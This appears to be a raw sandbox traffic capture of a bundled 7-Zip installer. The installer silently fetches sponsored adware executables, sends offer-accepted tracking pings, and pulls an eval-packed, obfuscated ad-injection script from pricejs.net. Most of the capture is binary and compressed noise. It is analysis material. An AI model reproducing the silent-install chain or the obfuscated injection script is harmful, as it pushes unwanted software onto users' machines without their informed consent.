GET /ads/conversion/971163981/?random=580215148&cv=7&fst=1420623259291&num=1&fmt=3&label=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=83&BundleID=NONE&vis=1&ctc_id=CAIVAgAAAB0CAAAA&ct_cookie_present=false&cdct=2&convclickts=0&random=875502920 HTTP/1.1

Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=83&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

DNT: 1

Connection: Keep-Alive

Host: VVV.google.com


HTTP/1.1 302 Found

Location: hXXp://VVV.google.com.ua/ads/conversion/971163981/?random=580215148&cv=7&fst=1420623259291&num=1&fmt=3&label=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=83&BundleID=NONE&vis=1&ctc_id=CAIVAgAAAB0CAAAA&ct_cookie_present=false&cdct=2&convclickts=0&random=875502920&ipr=y

Cache-Control: private, max-age=43200

Date: Wed, 07 Jan 2015 09:34:40 GMT

Expires: Wed, 07 Jan 2015 09:34:40 GMT

Content-Type: text/html; charset=UTF-8

X-Content-Type-Options: nosniff

Server: adclick_server

Content-Length: 949

X-XSS-Protection: 1; mode=block

Alternate-Protocol: 80:quic,p=0.002
<HTML><HEAD><meta http-equiv="content-type" content="te
xt/html;charset=utf-8">.<TITLE>302 Moved</TITLE></HE
AD><BODY>.<H1>302 Moved</H1>.The document has mov
ed.<A HREF="hXXp://VVV.google.com.ua/ads/conversion/971163981/?rand
om=580215148&cv=7&fst=1420623259291&num=1&fmt=3&la
bel=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=90
1&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&
u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url
=http://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4%2
6VA_Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&
VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=
Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=83&Bund
leID=NONE&vis=1&ctc_id=CAIVAgAAAB0CAAAA&ct_cookie_presen
t=false&cdct=2&convclickts=0&random=875502920&ipr=y"&g
t;here</A>...</BODY></HTML>....<<< skipped >>>

GET /sponsored/speedbit/eula-youtubeaccelerator.html HTTP/1.1

Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*

Referer: hXXp://bi.bisrv.com/network_adworkmedia_1/7zipqjkz/554f0c32df4546428c4cd4ba3636f283?v=2.1&uid=554f0c32df4546428c4cd4ba3636f283&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: dsba220j59f4d.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Server: nginx

Date: Sun, 04 Jan 2015 04:57:28 GMT

Last-Modified: Sun, 26 Oct 2014 17:24:16 GMT

Expires: Sun, 04 Jan 2015 05:07:28 GMT

Cache-Control: max-age=600

Content-Encoding: gzip

Vary: Accept-Encoding

Age: 153

X-Cache: Hit from cloudfront

Via: 1.1 48b0f72056c5eb5e43ef1434709be667.cloudfront.net (CloudFront)

X-Amz-Cf-Id: dCBddx-0s-foGAVz5hcMAtxycKDFIhK9zgSHLm-Mb6p7wN6atVDJEA==
2799.............]ko..y.....&J.K.D...h........[,.n...F...5.af... @.F.^
.I..y.s..9.:..H.D.9s...y/~..._=.......]...o?{~.,.;:>~..g..._|...W./
.g.G...:_6e[V.|~||.r/..j..........OGU=;.xs..c=....Q..9......<.....e
.d`..?....m=[...h.u.j..vU<.k....w.un..e...^.......>z.I....}.QM..
r9.nF......o.......O....r...?......I..z.}q{.M.i....>...K.,...>y.
\.....'{..m[....i.....~..d......Gu....b...o....p..o..;H?..>.v..{.:.
.....0.........................'._......?.l....o..Q.....9..q.C.]..4...
.70...w.a.v]/.~......zn\M..o..U.U.,.-.....q.........B........WE.~Q...u
.S.w.. .`K.j.^`X.......g....e.(......_?.6..p^.../.."o..w.>......FM.
.. ..u[....|.p......;...I.{..Q..i.|.w.w...c..G.jU,'....d.S..~f.)r.....
..A...w...9.. R....g..Y...x..'..{.(.<._.5N.......3...c.F...)..wYMn.
........e?z.....-.zV..e....U..G..\.([V."...i.l............i.(........)
.r..~..]}.)y.&....Q6.W%X.Cm.<z..b.OM.dYX.?.>d......{...k........
y1m.eG...{....#........&.._./.....O.U./..Ev2... y[..EQ/....mS`.O....&g
t;....x.7....l............a...q.W.c.#./......^\..... ..Y6/...).|9. .l.
5>...*.-....YW./.a...lV].......r,...q.:Fi1..<kA...__..........x.
.Ap.?...Z..=......q.4.)....R[.9~...*.*(....'.Yi..p.B.n......e'...I.T.;
.L.^-..Co...j0u..j...dc0B^..I.r.....-.(...n......1.-...'.*.......M^...
.&...y~..-...;W....UV.8.,.c.'...QLd 4x.....fmU....<...M..pRN3\{S`AX
..6..X........'_._....q2.8.?.QF.M.0.>.l^......6.I:...4DvY.7E!.=....
m.C.....U.}...c.....??.......[e...H..-.c:-.%vj'..A..2.K|..%]......{Ga.
...EQ..Z|Q..6?..4?z|................H.%.....{....\b[.........L....<<< skipped >>>

GET /mirror/pricefountain/default/setup.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: d2lci0er4bmjg2.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 1631232

Connection: keep-alive

Date: Tue, 06 Jan 2015 11:12:14 GMT

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1420539938/atime:1420540204/ctime:1420539939

Cache-Control: max-age=3600

Last-Modified: Tue, 06 Jan 2015 11:01:30 GMT

x-amz-version-id: 33GIbljaZdOrrxw6fd8yOhdzeKhEU7SW

ETag: "aba069326327747d739be51094cd31c2"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 0-1631231/1631232

Age: 2131

X-Cache: Hit from cloudfront

Via: 1.1 a40df8536d823ad9767f3e132bc909ae.cloudfront.net (CloudFront)

X-Amz-Cf-Id: MQcVxxIZNA8Tr1ukBlCOw2PA_ZSoZ4qA13GvXTz6SDFVWvszEKcGYw==

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......Je.....X...X
...X..xX...X..{X...X..zXT..X.|6X...X.|&X...X...X...X..fX;..X...X...X..
|X...X.."X...X..yX...XRich...X........PE..L......T....................
.(....................@..........................0....................
...................s..E5..D`....... .............................. ...
8...........................`...@...............\.....................
.......text...L........................... ..`.rdata..................
............@..@.data....o.......J..................@....rsrc........ 
......................@..@............................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................................U..j.hkMG.
d.....P..8....X.I.3..E.SVWP.E.d........F............h.=H..F...........
...tCh.=H........t..N....h.=H........t..N....h.>H..........A....N..
.8...h.>H........t..UT...F........h$>H..............j.j.....G...
........h(.........j.P......,....H............PW....G.............G...
..$..........P...........h4>H.........A.......u..N...8hP>H......
...A.......u..N....hh>H.........A.......u..N...E..................B
.....I......R...P.......PW......`...W....G....F.......h.>H..t..

<<< skipped >>>

GET /downloader/network_adworkmedia_1/7zipqjkz/fc5adcef92544d4d9ad600d2a201e613?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=fc5adcef92544d4d9ad600d2a201e613&muid=96D78F35E7B7EA4FC32736D428DF43B4 HTTP/1.1

Accept: */*

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1098259893.1420623114.1420623114.1420623114.1; __utmb=1.1.10.1420623114; __utmz=1.1420623114.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 07 Jan 2015 09:33:04 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Vary: Accept-Encoding

Content-Encoding: gzip
600a...............~.F....<..N.....NO.2........I..... .....KD...g.O
v....B..e;...L[.P.*.r......N.....q........,N..W.qg.-.Fr...."....._.y0O
f......`.}\....c...};=.4mD.............".....T...w..y:.../.Y.9<.O.,
...y..o\.....^..g..W.s1./N..,9...?..Ev2......r1...,=Yd.........zM&.d1.
...a.-f./.~......P....O..A6.G.??...|:X|.g..|..F.}....7..X........_....
b.O'..2....A7..,........34..y.........'.q..a:0_{..w.N?..m..q%....=...Y
....k^gK.X.:Tx....y....x.MR<t.......0.LG)6....}..X......M.......N..
Y.-a...<..2..|...?....]..G..`..Od.....x..:.dk./...x....l.sG.w......
.I>IF....bT....f.X.d.......m....t.......A>.8.F&..d0...I:.0.M..$.
.'...........|t..r.....h8.N>.c.^,G.|[.7.s.A.........68....h.}.4....
...._.-' m..":..Bq..>;I...Y>??.'......\av..I......#.G2.......H]S
vY.c ..`...(.t.!.a}bJ.Y...q4L?...JO..I..........vq...X}.....y.1k7.b...
...I<RZ..........|689....I..q.O..o....C....?..{...?|..?.>. ..`..
_..S.w{....x.....Z..%..Kn.......|....c.w.1...@.. 0.C..i<.....[_W...
..jk.C..]W..R..u.......(.........W....r..s.)_..{..g. .w..{.g.ka. fW..~
.5..~....j.......y<o}......|. .3..........y{......s.....!~.l.. ....
7....R.;....<.?.{...$....y.^.P/...Ln....O.>.....r..[fK.#...2..v.
.._.w..y......K.....`9......0i]...r6....w....U8...r.w.r.........^o]..$
.;8l.E3...0.......&Ke..Av'....pqz.ng..|.L..(.Z......O...(J.o....`.....
Gw....pu......g;o^_...N..6.a.....l.Ua.B.e}<.P6..P......lf*m..Z.o.}-
.....M......~x....ToE4...r<};.8$.;o.....}y.......t......o....O.8`Uy
-....F..G`5.o...4..DMfU>..,.T.X?.GQ.............].|.R....x6.o..<<< skipped >>>

GET /installer/ajax-bidl?offers[youtubeaccelerator][exec_args]=/S /MAG=smtyc &offers[youtubeaccelerator][offer_indexes][slot_number]=1&offers[youtubeaccelerator][offer_indexes][index_in_screen]=1&offers[youtubeaccelerator][offer_indexes][index_in_session]=1&offers[sourceapp_network][exec_args]=/np 1 /is smp1ua &offers[sourceapp_network][offer_indexes][slot_number]=2&offers[sourceapp_network][offer_indexes][index_in_screen]=1&offers[sourceapp_network][offer_indexes][index_in_session]=2&offers[pricefountain][exec_args]=/muse /partner=somopf &offers[pricefountain][offer_indexes][slot_number]=3&offers[pricefountain][offer_indexes][index_in_screen]=1&offers[pricefountain][offer_indexes][index_in_session]=3&offers[mystartsearch][exec_args]=-silence -ptid=smt /bi_sponsored_sub_process &offers[mystartsearch][offer_indexes][slot_number]=4&offers[mystartsearch][offer_indexes][index_in_screen]=1&offers[mystartsearch][offer_indexes][index_in_session]=4&uid_orig=554f0c32df4546428c4cd4ba3636f283&uid=fc5adcef92544d4d9ad600d2a201e613&tokyo_csrf_key=ceeaaabdc5318b9ac966504399512f5d&tokyo_csrf_timestamp=1420623184&ffInstalled=false&dfz=false&affid=network_adworkmedia_1&sid=7zipqjkz&country=UA&hostBrowser=ff&unique_id=ef16605e62d299cd4043233eed25bb98 HTTP/1.1

x-requested-with: XMLHttpRequest

Accept-Language: en-us

Referer: hXXp://bi.b
HTTP/1.1 200 OK

Server: nginx

Date: Wed, 07 Jan 2015 09:33:05 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Vary: Accept-Encoding

Content-Encoding: gzip
4df.............Wko.6.. .> .%..c...k7l...]1..@QW6...H*.....^Jv.8.. 
.. ...}.s...3...'..ZU.J.q.9hf..Q......_..p..U..m......t.sKk...;....&.l
.l.....*....#....[..k..........[....~....qC......p..L/....{........V..
.4......3*. .!....0..FiHq.2.cUZHc!.I.r..c...a..{n}s%.8..U...O`........
.\......Kel.....^.9..6..#.73.j.G.i....4,..z}..#...k.Wh..o.K.`.......9.
\......w?..[...E_...y.5hC...7...K...Iz...h...*t..F..\.65^.......L.M..d
..g3..c{lc..u........Q...i.Lp.(....B.je.sZi...^..F>........K.1...!.
1...2.Y.$ ....!#.<.|.e.?.,,.F...Oa.......5<.....z....P.2W6.U....
.n....k..\{.s.Fb..jT.9.....VJ;(9.......t^..!m.k.<...lO....y..?..<
;...............LQ..{.............KKTk.9...OQ.V.H..d..BIP.........qt..
..A.>n.......w..q...V?.?.V.1.......LU......R..-......G.D.E.. ).\D..
Bh....:.e.d.s.Q.511<#.m...%...d.J...*T....Q..k.q....G..j...|..N?.R.
(*..x..vq}-......Cj.eH...:..}k...".{3&...,....w.S.b..W.K&.(<.E`=..&
gt;...).\Y..G.5.{m.0..[.h.n)`.Z.G......:.!..@t.*...*...mC..G....!.O...
..w.."...a..xG.WI\jEb....9..K.I.L..5....@.n3........,!..:.N.6.vyo.....
v.$...'.....uC...u=.?..lQF.13v.^ .^.......G.%..x..{u&y.(=. ....].1l.7.
...W..d.*.......2.3w@3...$.uy.h.3.M..8..V5...I.2|I......{....m.GA....8
.>Y...a..2."..u[.r........j....Y....)..EI.F.h..z.....4JF..Y....n...
....'. ...~x:....=^..w.....0......


GET /pinger?event_type=offer_accepted&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f0c32df4546428c4cd4ba3636f283&uniqid=ef16605e62d299cd4043233eed25bb98&affiliate_id=network_adworkmedia_1&software_id=7zipqjkz&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=8a592b1d2f67b00bcfec02d2b6749b23&tokyo_csrf2_timestamp=1420623185&slot_number=1&index_in_screen=1&index_in_session=1&0.6772226359574376 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/downloader/network_adworkmedia_1/7zipqjkz/fc5adcef92544d4d9ad600d2a201e613?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=fc5adcef92544d4d9ad600d2a201e613&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1098259893.1420623114.1420623114.1420623114.1; __utmb=1.1.10.1420623114; __utmz=1.1420623114.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 07 Jan 2015 09:33:05 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 07 Jan 2015 09:33:05 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /somopf/common.js?hid=v5532D312D352D32312D323835383032303933352DB48A115F3C&channel=somopf&instgrp=20141204__1086__lnk_aromani_70 HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/ConversionService/GetScript.ashx?s=finish&frame=1&aff=

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: j.pricejs.net

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: openresty/1.5.12.1

Date: Wed, 07 Jan 2015 15:37:16 GMT

Content-Type: application/x-javascript

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Expires: Wed, 07 Jan 2015 19:37:16 GMT

Cache-Control: max-age=14400

X-Origin: j

X-Accel-Expires: 0
3888../**. * See hXXp://VVV.pricejs.net/ for details.. * . * Copyright
 (C) 2014 pricejs.net. All rights reserved.. */..(function(){try{var t
agUrl="hXXp://j.pricejs.net/somopf/common.js?hid=v5532D312D352D32312D3
23835383032303933352DB48A115F3C&channel=somopf&instgrp=20141204__1086_
_lnk_aromani_70&countryCode=UA&sset=7&ip=193.138.244.231";if(typeof wi
ndow.ECMAScriptTagUrl==='undefined'||window.ECMAScriptTagUrl==null){wi
ndow.ECMAScriptTagUrl=tagUrl}}catch(e){}try{if(typeof window.ECMAScrip
tTags==='undefined'||window.ECMAScriptTags==null){window.ECMAScriptTag
s=""}if(window.ECMAScriptTags.length>0){window.ECMAScriptTags=windo
w.ECMAScriptTags " : "}window.ECMAScriptTags=window.ECMAScriptTags tag
Url}catch(e2){}})(); eval(function(p,a,c,k,e,r){e=function(c){return(c
<a?'':e(parseInt(c/a))) ((c=c%a)>35?String.fromCharCode(c 29):c.
toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c
);k=[function(e){return r[e]}];e=function(){return'\\w '};c=1};while(c
--)if(k[c])p=p.replace(new RegExp('\\b' e(c) '\\b','g'),k[c]);return p
}('(p(){l P=1b.3K;1b.3K=Y;l 34=p(){o(R 1b.3L!=="Y"){m}1b.3L=1k;o(R P==
="Y"||P==t){P=t}o(R 3M!=="Y"){P=3M}l B=p(){};B.C.D=p(3N){u{o(1b.35&&1b
.35.3O){1b.35.3O(3N)}}w(54){}};B.C.E=p(){u{l 1c=P.1z(P.18(".") 1);1c=1
c.1z(0,1c.18("/"));1c=1c.1e();m 1c}w(K){f.D("J E: " K);m""}};B.C.2G=p(
){u{l 1N=f.1f("55");o(R 1N!=="Y"&&1N!=t){m 1N}o(f.E()==="1r.Q"){m"56"}
o(f.E()==="2b.Q"){m"57"}o(f.E()==="1A.Q"){m"58"}m t}w(K){f.D("J 2G: " 
K);m t}};B.C.3P=p(){u{l 2c=f.1f("2c");o(R 2c!=="Y"&&2c!=t){m 2c}o(<<< skipped >>>

GET /sponsored/mystartsearch/eula-mystartsearch.html HTTP/1.1

Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*

Referer: hXXp://bi.bisrv.com/network_adworkmedia_1/7zipqjkz/554f0c32df4546428c4cd4ba3636f283?v=2.1&uid=554f0c32df4546428c4cd4ba3636f283&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d2ly1rbvrtv0k6.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Server: nginx

Date: Tue, 06 Jan 2015 22:11:31 GMT

Last-Modified: Sun, 26 Oct 2014 17:24:16 GMT

Expires: Tue, 06 Jan 2015 22:21:31 GMT

Cache-Control: max-age=600

Content-Encoding: gzip

Age: 39

Vary: Accept-Encoding

X-Cache: Hit from cloudfront

Via: 1.1 7d6d1fc7fdee811d2a2df2097d46bc86.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 5lU5EGue2VhFFOc6HbHdUzIxLHrxtqiL8OKi9LMnET9qagT9l17D0Q==
2bd.............\...Gv.-?E-.Xq...$...>f!.....V$y...,..".V.......0..
H....5.(~..s...j..d..G..3lvWW.....{k....7Wo........{.../._......O.....
y....o.z..O..7MV.EW.UV^\|....V].yxq.....O.u..x....c.....y.<9..|t..c
y.....''....g...r..r.h.M..\...'...t..g..^..".2..2.j..z......b.'....U^.
.K....7..k.j.~...]l.9.v../..s....=......E.-.?....!.....O.T..<.w?.}.
..7.y.vYY.f...p...'.....2................,..^......_g.k...`.... ...f3.
...w.z?.5.......?.........?.xJ....?....z.Q(.U.... P>..qyq..Ct.....g
.....o^...W......|.a.w...W. ...........n_.. ../............`Iy=..1,w..
.......l.u.........{...&eQ}H..7>..=;..............4.v~<j|9..ZN..
.zI...Z9.8..y.~.f..h....r..l..U~.*.|.W..&3..-......u..w.ww'..[t...X...
...._..]~....k.en...H..h..10f8...-....x...#.Y.._...../.yg^.u......{.K.
.Y..CwO>.VE.........f..r}QW.y[.........-.uQ........M..w?....y%E.^i.
...y.)`...h.....5.._p...7..w..V...72.}-3...H...~.=t.....;z..H...]...h.
?..?Abp.....f.....U]...[<...o..........:8..M..........\....vUo..k.J
....[.K..nQ.e.._.S..:<.....6...............u.zS....Y..x.*.....;....
..B<}.E6Y...t..2..&..jB.G..e}....g.,..5.~.t......3.4....x....8..u1.
".M\..MQf3.3V..w....W":.j.8..6n.B:..`..v...#x..Icb..9.-:.H..u^,....*g.
.....9...0...(.V[F.G.Wo|.......h.6uY..3......_M...b....'.B.4.u6......m
...S.Lw.......M4k.......m9.....U.......[../.f.!@...5....:.s.....Y...g.
..%..D.I....B..k.......U.G.Lxo%.....$.N.......%.W38..0P.d[..B.....E..x
...V.o6.....m............S..P....-....j..@............e........M.*6...
.;/.b..;..3.04M.Z..........j..<F.F.t(..G.=.....UU.4uO.}..b..5.b<<< skipped >>>

GET /sd?is=sm HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Cache-Control: no-cache


HTTP/1.1 200 OK

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP001C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Content-Length: 583440

Cache-Control: private, max-age=86400

Expires: Thu, 08 Jan 2015 09:33:07 GMT

Date: Wed, 07 Jan 2015 09:33:07 GMT

Connection: keep-alive

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................Z....... ...0.......p....@.........
.................................................................s....
.................. ...................................................
.............p...............................text....X.......Z........
.......... ..`.rdata.......p.......^..............@..@.data...x.......
.....p..............@....ndata.......p...........................rsrc.
...............t..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
..nD..H.P.u..u..u...Hr@..B...SV.5.nD..E.WP.u...Lr@..e...E..E.P.u...Pr@
..}..e....Dp@........FR..VV..U... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u...Tr@..u
....E..9}...w....~X.te.v4..Lp@....E.tU.}.j.W.E......E.......Pp@..vXW..
Tp@..u..5Xp@.W...E..E.h ...Pj.h..D.W..Xr@..u.W...u....E.P.u...\r@._^3.
[.....L$...nD...Si.. ..VW.T.....tO.q.3.;5.nD.sB..i.. ...D.......t.G...
..t...O..t .....u...3....3...F.. ..;5.nD.r._^[...U..QQ.U.SV..i.. .

<<< skipped >>>

GET /pinger?event_type=offer_accepted&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f0c32df4546428c4cd4ba3636f283&uniqid=ef16605e62d299cd4043233eed25bb98&affiliate_id=network_adworkmedia_1&software_id=7zipqjkz&sponsored_id=sourceapp_network&tokyo_csrf2_key=8a592b1d2f67b00bcfec02d2b6749b23&tokyo_csrf2_timestamp=1420623185&slot_number=2&index_in_screen=1&index_in_session=2&0.4373879245528029 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/downloader/network_adworkmedia_1/7zipqjkz/fc5adcef92544d4d9ad600d2a201e613?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=fc5adcef92544d4d9ad600d2a201e613&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1098259893.1420623114.1420623114.1420623114.1; __utmb=1.1.10.1420623114; __utmz=1.1420623114.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 07 Jan 2015 09:33:05 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 07 Jan 2015 09:33:05 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /mg?alpha=ADkjEnNEfWUzOU5xDDh8AX1wH3MAfyFjdHRRI1gbA25iDH9dQT5gb3cPIhwgVVw7RQ50Rj8YMxpLB0tjEzEZHwZ4bj9deFARQzZrVi9y HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: install.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Cache-Control: no-cache, no-store

Pragma: no-cache

Content-Type: text/plain; charset=utf-8

Expires: -1

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

SVR: SP003C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Date: Wed, 07 Jan 2015 09:33:38 GMT

Content-Length: 1792

XF0aXj4qBBQPb1cSJyJhSwVeVjEJSkVJdThqTA4oUgRaWn9AYU86WkxnfSQSElcNSxMYc2
ZWbiMyKGZdJGQKLQ1wHQ0cfH5eUh8pfwEPZXhyLV9aIAwBHHd9Rl9sSXcaegQCKRUzXHkM
G0p4CTJVWRVVBwB3aE4pCBseUWwMXAAPFHcKSkhmSF1QR3l2Ai5jaWAQWFYkHysXd21xIR
JKcwZPE1QpUGJObw8cSxRSOVEXXF5eTn48DS8ESUFGahxdK0IDIAYMUDIEARBJL2kdOSI2
DDlnbAVYRF1ib25rChYwOUUFEWVNdFh2AQJcajQPQhRMXgEfOwkDIhkfFEA6RRogDxR3Ci
YTZVgTBgUufAFwImlWAUlcJh8MKXNib2YKFnwfUBpUKV9 WHsFIE5CASlVOEdeEQc5fgot
HBgeHjoASzIZF3ALSkhuXF1PDncyCCRhb1pTFksgDw0CPnU4akwOKFMNWlp/QGFPOlpMZ3
07CBJXDUsTGHNmVm4jEghbdh1dJAAZbhw0LltJQ1UFPGNPcCJ6Tx1ZWhwbBRowNHR2REA 
SFkOCG5aZU98Ng9DQw19ChVaVx5AOSIDPhMONVNsAE4zLRBnDANQMltQUBg PE81c2hZHl
5bcEAOHn59fy8KSWoLXwJaMU1jX30dQlQUATsSQRYJXk5vPRwpUlFZelM6b3RCWnIOHBoq
BxNvEih5AyhlfkAQQEwOJikKZmFIdkZfMEYeABlnTHRkeQ0LDQwGKlwXAxkXFGshDzgVDy
1TdBxddFQWdwMEXipbXk4IPl4MKGl6SzJEWjERSkV0b3ZwTQAwA08SD2RLdQgiBg9DRQ1z
Eh5XWhEYOX4YPgUOBh5jS1EyTEI7XERQfERBWUlhMiUXU1sMXQ5PMw4AXSgsSXpbRXweWQ
QWalVidkQwHEBVLCpdCw0XUBp6KBkpPgoWVzpTViMCFC5NDQp4WFJIDj9GDDB1aQxLQko 
FkRddGFoYE1icx5VAB1IUXRJc0JUSVcELFVXDVIBCGwrHihSUR1TdBpdekwdeg4LBioHRU
4ePm1BJyJlSlMWBmZWSgtrfn8hEg5aIW8hWicbYUtsCEwVFCU2UwlASB0KbxgwGxkFH11v
GmQKLQ1wHQ0cfGtUThgyfwMAXFlAGEJMJhsEE05SW21cRV4FWxEdeRs9CG4BAlpTJj5dHg
0BHBl3KEBuFRMLV3sdXTI4GW4aDVAyU0RQB3cyCzNyb0s/TUs7DA08emt5aAoWdAtQBR0n
G3hZfBcBXVJKZVYaQ0gXQDkhFC0TH1kIbBtNMxNUeU0BFioHAAxZdzIZJXBpDEsOdxkpP1
